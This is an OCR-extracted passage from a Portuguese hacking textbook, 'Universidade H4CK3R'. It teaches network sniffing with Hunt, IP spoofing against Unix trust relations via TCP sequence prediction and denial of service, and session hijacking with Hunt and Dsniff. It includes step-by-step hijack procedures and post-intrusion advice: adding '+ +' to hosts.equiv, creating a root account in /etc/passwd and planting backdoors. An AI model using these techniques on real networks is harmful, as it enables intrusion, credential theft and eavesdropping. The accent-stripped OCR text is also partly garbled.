recuperar o arquivo contendo o trfego. A interface grfica, os "frufrus" e a inte-
ligncia do Ethereal de nada adiantaro nesse ambiente.
Antes de comear nosso estudo, dois lembretes. Em primeiro lugar, observe que
sua conexo domstica Internet provavelmente se d por um protocolo de camada
2 chamado de PPPou Point-to-PointProtocol. Como o nome j diz, um protocolo
ponto a ponto: sua rede local possui apenas duas intetfaces, a de sua mquina e a do
modem do provedor de acesso.Justamente devido ao PPp,voc no poder farejar o
trfego na subrede de Internet qual voc est (aparentemente) conectado. Emuma
ligao empresarial - normalmente por linha privada usando Frame Re1ayou X.25
e no PPP - possvel (embora no muito provvel devido a ftrewalls e roteadores)
que a subrede da Internet determinada para a empresa possa ser farejada. De qual-
quer forma, um sniffer til apenas em estruturas de conectividade internas, onde h
verdadeiramente vrias mquinas trafegando informaes na mesma rede local.
O outro lembrete no menos importante. Existem trs condies bsicas
para se poder "esnifar" a rede:
1. Existir uma rede com pelo menos 3 mquinas (as duas que se quer monitorar
mais a sua, que monitorar as outras duas).
2. Possuir acesso de superusurio (root para Unix e Mac OS X ou Administra-
dor para WinNT/2k!XP - mquinas com Win9x no precisam de nada disso...)
na mquina que fIcar em modo promscuo e farejar a rede.
3. Possuir autorizao para fazer a monitorao e alertar os usurios da rede
para tal. No condio impeditiva para iniciar o sniffIng, mas tico. Todos
tm direito, garantido por lei, privacidade. Se sua empresa possui uma polti-
ca de monitorao de trfego, esta deve ser informada aos funcionrios.
Isso posto, vamos ao que interessa. Em nosso primeiro estudo, usaremos o
Hunt. O programa possui uma interface com o usurio em modo texto que,
apesar de singela, muito funcional. No vamos entrar em detalhes sobre a insta-
lao do programa - h intrues para isso na documentao que o acompanha.
Em nossa rede de testes (Laboratrio de Redes 11),instale o Hunt na mquina
Unix. Ela ser nossa mquina "haxor". Vamos monitorar uma conexo entre a
mquina Windows e a mquina "coitada". Para que possamos acompanhar me-
lhor a conexo, vamos abrir uma sesso de Telnet, que um protocolo interativo
e que funciona em texto simples - perfeita para ser monitorada pela sua sim-
plicidade e baixa velocidade. Observe:
12821
Ataque, defesae contra-ataque: Invaso [
Unix
Hunt
192.168.1.3
Coitada
Telnetd
Universidade 3ano
Windows
Telnet
Na Coitada (192.168.1.2) estamos rodando run servidor de Telnet (no esquea
de ativ-Io!).Na mquina Unix, execute o Hunt. Ser mostrada runa tela como esta:
/*
*
*
hunt 1. 5
mu1tipurpose connection intruder / sniffer for Linux
(c) 1998-2000 by kra
*
*/
starting hunt
- Main Menu - rcvpkt O, free/a11oc 63/64 ---
l/w/r) 1ist/watch/reset connections
u) host up tests
a) arp/simp1e hijack (avoids ack storm if arp used)
s) simp1e hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
->
o smbolo -> Oprompt do Hunt. Observe o menu. H rotinas para listar,
observar e derrubar conexes, verificar servidores online, faze hijacking etc.
Temos que configurar o Hunt para que passe a escutar nossa rede. Observe: as
opes l/w/r, respectivamente, listam todas as conexes ativas, vigiam uma
delas e interrompem-na (reset). Para que funcionem, necessrio que haja algu-
ma conexo ativa.
Escolha a opo "o" (options) e pressione a tecla Enter. Um novo menu ser
apresentado:;
-> o
- options - rcvpkt 723, free/a11oc 63/64 ---
1) 1ist add conn po1icy
a/m/d) add/mod/de1 conn po1icy entry
c) conn 1ist properties mac n, seq n
g) suggest mac base EA:1A:DE:AD:BE:00
h) host reso1ving n t) arp req spoof through req y
1283 I
] Ataque, defesa e contra-ataque: Invaso
I Universidade H4CK3R I
r) reset ACK storm timeout
s) simple hijack cmd timeout
q) arp req/rep packets
p) number of lines per page
i) print cntrl chars
x) return
-opt>
4s
2s
2
O
y
w) switched environment
y) arp spoof with my mac
e) learn MAC from IP traffic
v) verbose
y
n
n
n
So inmeras opes. Por enquanto, vamos nos ater s mais bsicas.As opes
a/m/d manipulam o que chamado, numa traduo livre,de regras de conexo.
Basicamente, uma regra de conexo a maneira pela qual dizemos ao Hunt
quais conexes queremos monitorar.Vamos adicionar uma regra (opo "a").
-opt> a
src ip addr/mask ports [0.0.0.010]>
o programa pede o endereo IP e a mscara de rede da interface de origem
(src)que queremos monitorar.No nosso caso,a interfacede origem aquela
que vai fazer conexo com um servidor telnet,portanto colocaremos ao IP da
mquina Windows. Lembrando do que aprendemos em Redes 11,O (zero) quer
dizer "todos".Portanto, colocar um zero em qualquer lugar do endereo indica
que todas as mquinas com aquele prefIxo sero monitoradas. Por exemplo, se
eu colocasse 192.168.1.1/32, eu monitoraria os pacotes originados nessa m-
quina. Se eu colocasse, por outro lado, 192.168.1.0/24, o Hunt farejariaos pa-
cotes de todas as mquinas da rede 192.168.1.0, ou seja,entre 192.168.1.1 e
192.168.1.254. Num caso extremo, colocar 0.0.0.0/0 seriao mesmo que dizer
ao programa: "Vasculhe TUDO!"
De maneira similar, preencha o endereo de destino. A prxima pergunta
(insert at) simplesmente para defInir em que posio da lista nossa regra
aparecer.
A opo "1"lista as regras de conexo existentes. Em nosso caso, teramos:
-opt> 1
O) 0.0.0.010[alI]
1) 192.168.1.1/32 [alI]
<-> O. O .O .O 1 O [23 513]
<-> 192.168.1.'2/32 [alI]
-opes do menu--
*opt>
Observe que temos um asterisco no prompt. O Hunt est nos indicando que
as mquinas esto "vivas" na rede. Para sair do modo opes, usa a opo "x".
De volta tela inicial, temos a opo de listar ("1") as conexes ativas~Experi-
mente e veja: no h nenhuma conexo no momento. Vamos criar uma ento.
:841
Ataque, defesa e contra-ataque: Invaso r
Universidade 3ano
Na estao Windows (192.168.1.1) vamos fazer uma conexo de Telnet para
a "Coitada". Abra uma janela do DOS e digite telnet 192.168.1.2. Se tudo esti-
ver certo, vai aparecer a tela de login da mquina "Coitada" na janela de Telnet
da mquina Windows. Na mquina Unix, volte ao Hunt e escolha a opo "I"
novamente. Mgica: apareceu a conexo entre 192.168.1.1 e 192.168.1.2.A
porta de origem alta (como deveria ser, leia o captulo Redes 11e a RFCI700),
e a de destino a 23 - a porta do servio Telnet. Vamos, ento, pedir ao Hunt
que mostre o trfego para ns. Escolha a opo "w" (watch), escolha qual cone-
xo quer monitorar e, em seguida, a opo "b" (both).
Volte mquina Windows e d seu login e senha. Se voc observar no Hunt,
essas informaes sero mostradas l. Caso o login seja bem sucedido, o promp
do shell Unix aparecer no Telnet da mquina Windows - e tambm na tela do
Hunt, que est numa mquina que nem participou da transao! Faa vrias
experincias: liste diretrios, edite textos com seu editor favorito ou chame
algum programa - todas essas atividades sero monitoradas pelo Hunt.
Para o Hunt, esse o bsico. Por sua simplicidade, acaba ficando limitado em
possibilidades, mas muito til na maioria dos casos. bvio que h muito
mais a explorar sobre o programa, mas deixo isso como dever de casa. Brinque
com o Hunt por alguns dias, fareje sua rede, leia toda a documentao e procu-
re por mais recursos na Internet. Depois, tente tambm brincar com o Snort, o
Sniffit, o Ethereal e o IPTraf, tanto em Unix como em Windows. Use tambm
algumas das ferramentas simples disponveis nos CDs. Parar uma semana ou
duas para tal seria o desejvel, e s depois disso prossiga a leitura. Valer a
pena - e ser divertido!
Quando a caa v
o Hunt um timo (e didtico...) sniffer, mas tem um problema insolvel
para os modelos clssicos de sniffers: no ustrapassa sniffers ou switches. Para
as redes comutadas, necessrio utilizar sniffers apropriados, que faam ARP
Spoofmg ou, pelo menos, MACFlood.
Dois sniffers o fazem de forma magistral: Ettercap e Dsniff. J falamos sobre
ARP Spoofmg e MACFlood h algumas pginas. Estude a documentao e ex-
perimente ambos os programas. Adicionalmente, sugerin}os que o leitor procu-
re mais informaes sobre os seguintes mtodos de sniffmg:
~SSLSpoofmg (falseando ou manipulando certificados digitais);
~DNS Spoofing (desviando o trfego Web para servidores falsos);
~Snarfmg (uma maneira de "pentear" os pacotes TCP/UDP para extrair de-
les apenas a informao que mostrada na tela da vtima: e-mail, mensagens
instantneas, pginas da web...).
1285 I
] Ataque,defesa e contra-ataque:Invaso
IUniversidade H4CK3R I
Who can you trust?
Just say enough is enough / Oh I gotcha / W'ho who who can you trust7
Urna maneira de se conseguir um Spoofing mais efetivo atravs das
relaes de confiana (ou trust relations) entre computadores. Isso permite
que um computador possa ter acesso a vrios recursos fazendo login em
apenas um sistema.
Observe: existe uma mquina servidora (vamos cham-Ia de "S") que possui
relao de confiana com outras mquinas (vamos cham-Ias "TI", "T2", "T3"
etc.). Se o usurio logar-se na mquina S, automaticamente ter acesso a recur-
sos das mquinas "T". Enquanto essa facilidade "quebra um galho" para admi-
nistradores de rede e permite que usurios loguem-se em apenas um sistema
para ter acesso a vrios, se um hacker conseguir fazer-se passar pela mquina
que tem a confiana poder ter acesso a todas as outras, que "confiam" nela.
Tanto sistemas Unix quanto Windows (e tambm Novell...) possuem facilida-
. des parecidas. O Windows 2000 possui um recurso chamado Advanced
Directory Service (ou ADS), que detm o cadastro de todos os usurios e m-
quinas da rede e as relaes entre eles. O usurio, ao logar-se em um domnio
Windows, tem seu nome e senha comparados com os do ADS e, caso aceitos,
todos os servios so disponibilizados.
A Novell possui um produto chamado eDirectory (www.novell.com/pt-br/
products/edirectory) baseado em um ncleo, o Novell Directory Service ou
NDS. O software opera da mesma forma que o ADS da Microsoft, com um
diferencial: no est restrito aos produtos Novell. Na realidade possvel, atra-
vs do eDirectory, criar conexes para todos os tipos de plataformas de software
7. '~penas diga que j teve o bastante / Hehe, eu pegei voc / Em quem, em quem, em quem voc pode
confiar?"JoanJett, Who can you trust. Do album "Cherry Bomb, de 1995.
12861
Ataque, defesa e contra-ataque: Invaso [
Universidade 3ano
e hardware imaginveis, incluindo a Unices, Windows e mesmo sistemas de
grande porte.
Tanto o eDirecory quanto o ADS baseiam-se num padro chamado
Lightwheight Directory, Access Protocol ou LDAP. H verses do LDAPdispo-
nveis para diversos sabores de Unix. Uma das mais famosas o OpenLDAP
(www.openldap.org). verso livre, gratuita e de cdigo aberto. O LDAP uma
forma segura de prover, para aplicaes Unix (e tambm Windows e
Macintosh...), o chamado sing1e-sign-on(ou log-se apenas uma vez) e ter acesso
a vrios recursos disponveis em pontos distantes da rede.
Mas os sistemas Unix possuem dois antepassados desses servios: o NIS
(Network Information Service) e o famigerado Unix Trust. Por sua idade, am-
bos so extremamente inseguros e facilmente hackeveis. Falaremos do NIS
mais para frente, j que sua falha no se trata de IP Spoofmg.
O Unix possui uma srie de comandos, todos iniciando em "r"(de remote) que
permitem que diversos sistemas possam ser operados sem que seja preciso au-
tenticar-se em cada um deles. Imagine, por exemplo, que o usurio est logado
na mquina A. Amquina B confia em A, portanto permitir que os comandos "r"
sejam executados nela tambm. Por exemplo, se o usurio da mquina A emitir o
comando rlogin IP.DE.B,ser presenteado com um shell da mquina B sem que
seja necessrio fornecer usurio ou senha. B confia em A, ento B confia nos
usurios de A... Da mesma forma, h os comandos rsh (remote shell - permite a
execuo de apenas um comando), rcp (remote copy), rmail (l e-mails no outro
sistema) entre outros. Para que seja permitida a execuo dos comandos, neces-
srio que o IP de A esteja contido no arquivo /etc!hosts.equiv de B. Todas as
mquinas cujo IP esto em /etc!hosts.equiv de B so de confiana para B.Alm
desse arquivo, cada usurio de B pode ter, em seu prprio !home, uma lista de
mquinas nas quais confia, guardada no arquivo .rhosts.
Confiana
letc/hosts.equiv
-IP.DE.A
-IP.DE.H
No exemplo acima, todas as mquinas "S"e "T" so Unix.As estaes podem
ser qualquer coisa. Em cada uma das mquinas "T" mostradas, h um arquivo, o
/etc!hosts.equiv, contendo o IP de "S".Assim, todos os usurios que se logarem
em "S"podero ter acesso aos recursos das mquinas "T". possvel crial shell
scripts com os r-comandos, por exemplo, para automatizar o processo e facili-
tar a vida desses usurios.
12871
1 Ataque, defesa e contra-ataque: Invaso
IUniversidade H4CK3RI
Mas o que acontece quando usamos os r-comandos? O usurio est logado
em "s" e, por meio de um comando rlogin, conseguiu um shell de "T3" sem que
fossem solicitados um usurio e uma senha vlidos em "T3". Ocorre que, na
prtica, o usurio est logado em "T3", e todas as suas aes sero originadas
de "T3" (e no de "s" ou de "H", sua estao de trabalho...). Se o invasor usar
algum scanner contra o site de uma empresa, ou tentar conectar-se por brute-
force a um servio na Internet, ser o IP de "T3" que ser registrado, no o de
"s" e muito menos o de "H".
Agora que a mgica acontece. Se formos usurios j cadastrados em "S",no h
problema. Basta logarmos em "S",dar um rlogin para T3 e us-lo.Mas e se no for-
mos? E mesmo se formos, seremos registrados nos logs de "S",ento o que fazer?
possvel "envenenar" uma relao de confiana entre duas mquinas usan-
do spoofmg, um pouco de sniffing e uma pitada de negao de servio. Imagi-
ne uma rede corporativa onde h uma mquina chamada SERVLOGIN,na qual
os usurios sero autenticados, e outras, cada uma com um nome alusivo ao
recurso que ela disponibiliza (por exemplo, IMPRESSORA,FISCAL,INTRANET,
VAX, FINANCEIRO, entre outros...). Todas essas mquinas usam o jetcj
hosts.equiv para "confiar" no julgamento de SERVLOGINno tocante a quais
usurios tm permisso para acessar seus recursos. Imagine tambm que, em
algum lugar ignorado na Internet, h uma mquina "H" que deseja conectar-se
a algum computador interno.
Para realizar a tarefa a contento, temos que partir de algumas premissas:
~ Em primeiro lugar, temos que ter em mente que "H" no est na mesma
LAN que SERVLOGINou qualquer uma das outras mquinas. Pelo contrrio,
est l - beeeem longe - na nuvem da Internet. Por isso mesmo, impossvel
"esnifar" o que ocorre na LAN.
~ De alguma maneira j descobrimos que SERVLOGIN considerado
"confivel" pelos outros servidores. Descobrimos isso porque invadimos IM-
PRESSORA,por exemplo, ou o prprio SERVLOGIN, e consultamos os arquivos
.rhosts ou jetc!hosts.equiv ou mesmo os logs do sistema, procura de sinais
de conexo por Unix Trust.
12881
Ataque, defesa e contra-ataque: Invaso
Universidade 3ano
~ Nosso objetivo , ento, traado: queremos que uma das mquinas (por
exemplo, INTRANET)"pense" que "H" , na realidade, SERVLOGIN.Com isso,
teremos um shell em INTRANET,com um IP disposio para usarmos von-
tade em nossas maldades por a...
Vamos dar uma "receitinha de bolo" para esse ataque. a melhor maneira de
explicar a teoria de cada um dos passos necessrios. Para maior clareza no
texto, chamaremos cada um dos computadores apenas por seus nomes (Le. "H"
em vez de "a mquina H" ou "s" em vez de "o servidor S").
1. "H" inicia vrias - na verdade, milhares de - conexes reais, sem impos-
tura (ou seja, sem spoofmg), para INTRANET."H" envia vrios pacotes SYN e
espera pelos ACKs de INTRANET.Baseado nesses ACKs, "H" pode inferir (ou
antes, adivinhar) a progresso de nmeros seqenciais TCP gerados por
INTRANET.Com isso, "H" pode ter uma idia dos nmeros a usar mais pata
frente, quando estiver conectando ao sistema INTRANET.
2. Depois disso (ou simultaneamente, caso o invasor possua outra mqui-
na) lana-se um ataque de negao de servio contra SERVLOGIN. Com
SERVLOGINfora da jogada, impedimos que o mesmo envie um pacote TCP
RST e derrube nossa conexo "spoofada".
3. Usando um dos r-comandos, "H"inicia uma conexo a INTRANETusando
o IP de SERVLOGIN. A INTRANETresponde com um ACK para SERVLOGIN,
que est fora de combate devido negao de servio.
4. Agora,a mgica:"H"envia umACK para INfRANET,com o IP de SERVLOGIN
e uma estimativa do nmero seqencial TCP - calculado pela progresso detecta-
da no passo 1 mais o tempo que o processo todo levou at chegar aqui.
5. Caso tenha acertado na mosca (o hacker possui apenas um tiro...) a co-
municao estabelecida e mantida enquanto SERVLOGINestiver fora do ar.
Se tiver errado, o invasor pode repetir a receitinha at acertar.
Algunssistemasso idiotamente fceisde prever a seqnciaTcp, outros nem tanto,
e h uns poucos onde essa seqncia (?) quase aleatria (?!?!??). A predictabilidade
dela dir se o sistema facilmente hackevel por esse mtodo - ou no.
Lembra daquelas velhas cantigas do tipo "Joo amava Maria que amava Pedro..."?
Pois. No passo 3,"H"iniciouuma conexo com INTRANEffingindo ser SERVLOGIN.
Para iniciar essa conexo, usou um r-comando (por exemplo, um rlogin). Se o hacker
acertou a seqencia TCp, foi presenteado com um shell de INTRANET.S que
INTRANET"pensa" que quem iniciou a comunicao SERVLOGIN, e manda as
respostas para essa mquina. Resultado:"H"pode emitir comandos, mas no tem a
mnima idia se esto fimcionando ou no - no h feedback na tela.
Enquanto isso pode parecer suficiente para um estrago qualquer (assim como
nas vulnerabilidades discutidas anteriormente, como o estouro de pilha ou os
CGIs "amigos"), o hacker pode usar esse shell (e tambm o do estouro de pilha,
bem como o dos CGIs...) para configurar rapidamente um backdoor em
INTRANET.No se esquea que SERVLOGINest tinto com a negao de servi-
o, mas recobrar os sentidos a qualquer momento e cortar a comunicao
12891
]Ataque, defesa e contra-ataque: Invaso
IUniversidade H4CK3R I
(com um TCP RST) entre INTRANETe "H". Entre as coisas que o invasor pode
fazer na mquina INTRANETesto:
~ Colocar o IP de "H" no /etc!hosts.equiv;
~ Criar um usurio com direitos de root no /etc/passwd;
~ Implantar qualquer tipo de backdoor.
H mais opes alm dessas. A partir dessas alteraes, o hacker pode insta-
lar vrios backdoors, incluir mais mquinas no hosts.equiv (ou mesmo o smbo-
lo + +, que faz com que INTRANETconfie em qualquer um...) e criar outras
contas no sistema. claro que administradores atentos logo notaro tais mu-
danas, por isso bom usar essa mquina para rapidamente "Ownar" outras.
No esquea ainda que, por mais engenhoso que o procedimento seja, ferra-
mentas de IDS e auditoria de arquivos logo descobriro a faanha.
Como tarefa para casa, sugerimos ao leitor que procure documentao na
Internet sobre os seguintes tipos de Spoormg:
~ DNS Spoofing
~ Source Routing
~ Proxy Spoofing
~ Daisy-chain Spoormg
Captura de sesses (Hijacking)
Lembro-me das aulas de matemtica da primeira srie do primrio (hoje isso
chamado de Educao Fundamental, mas tudo a mesma coisa...). Problemas
matemticos eram resolvidos dividindo a folha do caderno em trs campos:
sentena matemtica, clculo e resposta. Na sentena matemtica, colocva-
mos o que fui, anos depois, aprender que se chama forma algbrica da equao
(ou da inequao ou frmula). A sentena matemtica deveria ser algo claro e
bem detalhado, para que a pessoa que fosse ler a resoluo do problema pu-
desse entend-lo num relance. No campo Clculos, as coisas eram mais livres.
Podamos preencher completamente o espao com clculos e anotaes -
mantendo, obviamente, alguma "limpeza", seno era nota zero! Na resposta,
nos era permitido colocar apenas o resultado de nossos clculos. Em nossos
estudos sobre invases, podemos colocar, em nossa sentena matemtica, o
seguinte problema: Sniffmg + Spoormg =? Faamos os clculos, ento, e veja-
mos no qual isso vai dar.
Nas pginas anteriores vimos que sniffmg um meio de saber o que se passa
numa rede local - mesmo que os dados em trnsito no sejam de nossa conta.
Por outro lado, podemos enviar dados a outros computadores fingindo ser
uma terceira pessoa - isso spoormg. fcil perceber que, combinando essas
duas tcnicas, podemos "roubar" uma sesso entre dois computadores. "Como
assim roubar?", o leitor perguntaria. Uma imagem vale por mil palavras:
1290 I
Ataque, defesae contra-ataque: Invaso [
Universidade 3ano
Observe que A, B e H no precisam estar na mesma LAN.H pode estar, com
efeito, na LANde A, na de B ou em qualquer subrede intermediria. A malha de
roteadores mostrada poderia ser substituda por uma "nuvem" representando a
rede como um todo - poderia mesmo ser a Internet. O importante notar que H
tem de estar em algum ponto pelo qual estejam passando os pacotes entre A e B.
A conexo entre A e B poderia ser qualquer coisa, como uma chamada HTfP ou
correio eletrnico sendo transmitido via SMTP.Capturando uma sesso de con-
versao por ICQ, por exemplo, podemos continuar conversando com B en-
quanto ele pensa que somos A. Capturando uma sesso de FTp, 5MB (redes
Microsoft) ou Telnet entre o usurio A e o servidor B, por exemplo, podemos
navegar pelos servidores sem precisar fazer login - A j o fez anteriormente, e B
agora pensa que somos A. Acendeu uma "luzinha" a? Pois , h outras maneiras
de conseguir acesso a sistemas alm do brote force e buffer overflow...
Realmente, por mais que os mecanismos de autenticao sejamseguros (senhas de
mo nica, criptografia, assinaturas digitais, etc.), pode-se capturar uma comunica-
o qualquer DEPOISque a autenticao foi feita e, assim, pular essa parte chata.As
produtoras de software normalmente gastam milhes em desenvolvimento de es-
quemas seguros de autenticao e esquecem-se do que, uma vez feita, o sistema ir
SEMPREacreditar que o usurio o mesmo - e, como vimos, nem sempre ...
Outra caracterstica de uma sesso de hijacking que no preciso estimar ou
adivinhar a progresso e a preditabilidade dos nmeros seqenciais TCP.O ata-
cante, estando no meio do caminho entre as duas estaes, tem acesso progres-
so real dos nmeros seqenciais TCP e pode, portanto, control-Ios quando esti-
ver fazendo se passar por outrem. Em nosso exemplo, H est cuidadosamente
registrando toda a comunicao entre A e B, incluindo a as seqncias TCP.
Na prtica, os passos a serem seguidos so:
1. H deve observar - com tcnicas de sniffmg- a comunicao entre A e B
por um tempo razovel, para determinar o tipo de conexo, o protocolo em
uso (HTTP,SSH,FTp'Telnet, MSN,ICQ...) e a seqncia TCP nos dois sentidos.
Tudo isso deve ser registrado em um arquivo e analisado. Quando a conexo
estiver bem "escarafunchada", decide-se que interessante seqestr-Ia e deter-
mina-se os meios para tal, a podemos iniciar a captura.
2. H comea ento - com tcnicas de spoofmg - a "enganar" B, fazendo-o
pensar que H A.A forma mais usual H simplesmente criar trfego entre ele
1291 I
]Ataque, defesa e contra-ataque: Invaso
IUniversidade H4CK3RI
e B, gerando pacotes cujo endereo IP de origem seja o de A. B pensar que os
pacotes vm de A.
3. Uma vez que B aceita comandos de H pensando serem de A, pode-se
controlar B a partir de H. Se for uma sesso de Telnet ou de SSH,H pode operar
o computador B por comandos shell. Se for uma sesso FTp' H pode baixar
arquivos de B que estejam liberados para A - e bloqueados para usurios de
FTP annimo. Se for uma conversao MSN, H pode continuar a conversa com
B fmgindo ser A.
Olhando "por cima", parece que funciona. Mas h um problema: A ainda est
viva e B devolve a ela pacotes TCP com o bit ACKligado cada vez que H injeta
trfego na linha. A tentar ressincronizar a conexo e responder a B na mes-
ma medida. Alm desses ACKs esprios gerados pelos pacotes injetados por H
na conexo, h ainda os pacotes normais da conexo entre A e B. Isso causar
o que chamamos de tempestade ACKou ACK storm.
Quando descreve-
mos, pginas atrs, um
spoofing baseado em
Unix Trusts, retiramos
do ar a mquina
SERVLOGIN (aquela
pela qual queramos
nos fazer passar) por
meio de um ataque do
tipo Negao de Servi-
o. Naquela ocasio, o
fizemos para evitar que SERVLOGINderrubasse a conexo (que afmal no fora
gerada por ela) com um pacote TCP RST.O caso aqui ligeiramente diferente:
A realmente iniciou a conexo entre ela e B. O trfego injetado por H aprovei-
ta-se disso e a tempestade de ACKs um efeito colateral indesejado, em vez de
ser um procedimento normal do protocolo TCp' como no caso do RST.
Apesar de ser efetivo naquele caso especfico - no precisvamos de SERVLOGIN
no decorrer da ao -, usar Denial of Service nem sempre desejvel:
~A mquina fora do ar pode voltar a qualquer momento. No h previso de
quando, e certamente o tempo que ficar desabilitada ser muito pequeno - o
suficiente para um ou dois comandos.
~Se o computador que sofreu o DoS for atendido por algum, ou seja, hou-
ver usurios conectados nele - por exemplo, uma estao de trabalho -, o
ataque ser facilmente detectado.
~Em alguns casos, necessrio que o computador pelo qual queremos nos
fazer passar fique "vivo" - h recursos que s podem ser destravados por ele,
ou precisamos que o usurio acredite que ainda est conectado.
~Era imperativo tirar a mquina do ar devido aos TCP RST,que cancelam a
2921
Ataque. defesa e contra-ataque: InvasoI
Universidade 3ano
conexo correspondente. Aqui no h RSTpois o originador da conexo foi -
realmente - A e no H. A passa a ser necessrio e no indesejado.
~Negao de Servio algo deselegante - e voc vaidoso, no ?
A resposta est em algumas pginas um pouco mais para trs. Quando fize-
mos sniffmg ativo, usamos a tcnica de ARP Spoofmg para confundir o switch
e as prprias estaes, colocando nossa mquina no meio da conexo. Para tal,
usamos o programa Hunt em uma configurao man-in-the- middle. Bem, pode-
mos usar a mesma idia para evitar o ACK Storm. Com o trfego passando todo
pela mquina que est escutando a rede, podemos controlar a propagao
desses ACKs esprios.
Nessa configurao, fica claro que, como no h problema de tempestade de
ACKs, podemos emitir comandos para a mquina destino (B, em nosso exem-
plo). Obviamente, quando a conexo entre H e B for encerrada, a diferena
entre os TCP sequence numbers que A envia e que B espera to grande que a
sincronizao entre A e B impossvel - e a conexo entre eles tambm cai.
Programas de Hijack modernos (como o Hunt e o Dsniff) possuem, entretanto,
ferramentas para ressincronizar as conexes, assim uma desconexo gratuita
no ir causar desconfianas.
Selecionando seus combatentes
claro que h a possibilidade de se fazer tudo isso manualmente. Entretanto,
a maneira mais fcil usar ferramentas especialmente construdas para tal.
Uma delas o Hunt, visto na sesso sobre sniffmg. O Hunt possui duas opes
interessantes: simple hijacke arp/simple hijack. No menu opes, ele oferece
algumas possibilidades tambm muito interessantes, como arp spoof with my
mac (lembram-se do ARP Spoofmg?), learn MAC from IP traffic e switched
environment (ferramentas para enganar bridges e switches).
O Dsniff, outra sute de sniffing comentada anteriormente, tambm possui
ferramentas para captura de sesses. Alm do prprio programa Dsniff (es-
pecializado em sniffing), a sute possui as seguintes ferramentas:
Ferramentas de sniffing includas na sute Dsniff:
~fllesnarf: copia na mquina do hacker os arquivos trafegando em uma
conexo NFS (Network File System) entre dois outros computadores.
~mailsnarf: reproduz na mquina invasora mensagens de e-mail sendo trans-
mitidas por POP ou SMTP.Com modificaes no cdigo do programa, pos-
sveller tambm mensagens IMAP e UUCP.As mensagens so armazenadas
em formato mailbox - legvel por praticamente todos os programas de e-
mail existentes.
~msgsnarf: registra toda a conversao entre duas pessoas que estejam
usando os servios de mensagem instantnea AOL Instant Messenger, ICQ
2000, IRC, MSN e Yahoo.
1293 I
]Ataque. defesa e contra-ataque: Invaso
IUniversidade H4CK3RI
~urlsnarf: fareja requisies HTTP e as apresenta no formato Common
Log Format ou CLE
Ferramentas de spoofing includas na sute Dsniff:
~arpspoof: ferramenta para ARP Spoofing.
~dnsspoof: forja respostas a solicitaes DNS em uma LAN. til para
contornar regras de acesso baseadas no nome do host ou para implementar
diversos ataques tipo man-in-the-middle baseados em DNS.
~macof: uma ferramenta para MACFlooding. Inunda a LANcom uma mul-
tido de endereos MAC randmicos, fazendo com que bridges e switches
vulnerveis passem a se comportar como hubs - ou seja, deixando passar
todo o trfego indiscriminadamente por todas as portas.
Ferramentas de captura e controle (hijacking) includas na sute Dsniff:
~tcpkill: derruba a conexo selecionada.
~tcpnice: controla a velocidade da conexo entre dois ns sem prejudicar
o restante da rede. interessante para reduzir a velocidade de uma conexo
e, com isso, monitor-Ia "ao vivo".
~sshmitm: age como um intermedirio (uma espcie de proxy) para cone-
xes SSH.Uma vez desviada a conexo (com ferramentas como, por exemplo,
o dnsspoof), o sshmitm pode farejar o trfego procura de logins e senhas e
mesmo capturar a sesso.A poro mitm do nome significa man-in-the-middle.
~webmitm: age tambm como intermedirio, desta vez para conexes
HTTP/HTTPS (sim, suporta SSL!!!). til para conseguir senhas de acesso a
sites e informaes normalmente inseridas em formulrios como nmeros
de cartes de crdito e informaes "criptografadas".
Alm do Hunt e do Dsniff, h algumas outras ferramentas para seqestro
de sesses. Uma delas, muito conhecida, o Juggenaut (packetstorm.
linuxsecurity .com/new-exploits/1.2.tar.gz). Outro tambm muito comenta-
do o IP-Watcher, produto comercial (e pago) da Engarde Systems -
www.engarde.com) . Um detalhe: todos eles so para Unix. No h boas op-
es de ferramentas para seqestro de sesses que rodem em Windows ou
outras plataformas - neste caso especfico, meu amigo, voc est preso aos
Unix. Uma sada dotar seu Windows de um ambiente Unix simulado como o
Cygwin (www.cygwin.com) e rodar essas ferramentas l. Para isso, ser pre-
ciso instalar tambm as bibliotecas pertinentes a cada um dos softwares den-
tro do Cygwin. Outra maneira dotar seu Windows de uma mquina virtual
PC completa, como o comercial e caro VMWare (www.vmware.com) ou o
livre e gratuito Bochs (bochs.sourceforge.net), e rodar algum Unix para PC
(Linux, FreeBSD, Solaris) dentro dele.
12941
Ataque, defesae contra-ataque: Invaso [
Universidade 3ano
Seqestro na prtica
(ou: como me tornei membro do ALQaedaJ
Anteriormente descrevemos uma sesso de sniffmg com o Hunt. Chegamos
ao ponto de verificar os comandos que A emitia para B e ver as respostas que
B enviava para A. Ainda no estvamos exatamente no meio da conversao -
simplesmente farejvamos o trfego ("p, passam por aqui berrando e no
querem que eu escute...").
Vamos refaz-Ia, desta vez capturando a sesso. Usaremos nossa rede de tes-
tes e as mesmas instalaes que usamos em nosso experimento anterior. Usare-
mos tambm a mesma sesso de Telnet que descrevemos.
Rapidamente relembrando o procedimento j visto, selecione a opo "o"
(options) e adicione uma conn policy, de acordo com os IPs das mquinas cujas
conexes queremos monitorar e, posteriormente, capturar. Digite "1"para ver
se h interfaces "vivas"que obedeam a essa regra (observe o prompt do Hunt).
Depois disso, digite "x" para voltar tela principal e "1"novamente para listar
as conexes existentes que estejam de acordo com as conn policies defmidas.
Selecione "w" (watch) para monitorar uma das conexes, e depois escolha a
conexo de nossa sesso telnet (lembre-se: estamos fazendo um telnet da m-
quina Windows para a Coitada). Logue-se por Telnet e emita alguns comandos.
Se tudo estiver certo, todos os dados em ambos os sentidos da conexo sero
ecoados no Hunt - que est rodando na estao Unix. At aqui era o que hav-
amos feito.
Note que, se voc estiver em um ambiente de rede segmentado (por exemplo,
h um switch em sua LAN),voc ter de fazer um ARP Spoofmg para engan-Io
- caso contrrio, no conseguir ver as conexes que estejam em outro seg-
mento. O prprio Hunt pode fazer isso. Selecione "d" (daemons) e "a" (arp spoof
+ arp relayer daemon), e configure os endereos IP de origem e destino pelos
quais voc quer fazer ARP Spoofmg (opo "a" - add host to host arp spoot).
Digite "s" para iniciar o daemon e espere alguns minutos. Dependendo do tr-
fego de sua rede e das estaes em questo, pode demorar de um a 20 minutos
para que o switch passe a distribuir pacotes indiscriminadamente.
Com ou sem switch, voc est pronto para seu primeiro seqestro. Volte ao
menu principal e escolha a opo "a" (arp/simple hijack). Ser perguntado
qual das conexes deseja capturar. Selecione a conexo de nosso telnet e res-
ponda s perguntas sobre conexo e apresentao dos dados.A tela de captura
, em um primeiro momento, idntica tela de observao (watch). O compor-
tamento tambm o mesmo, por enquanto: tudo o que o usurio da mquina
Windows fizer ser ecoado para o Hunt antes de ser enviado "Coitada", o
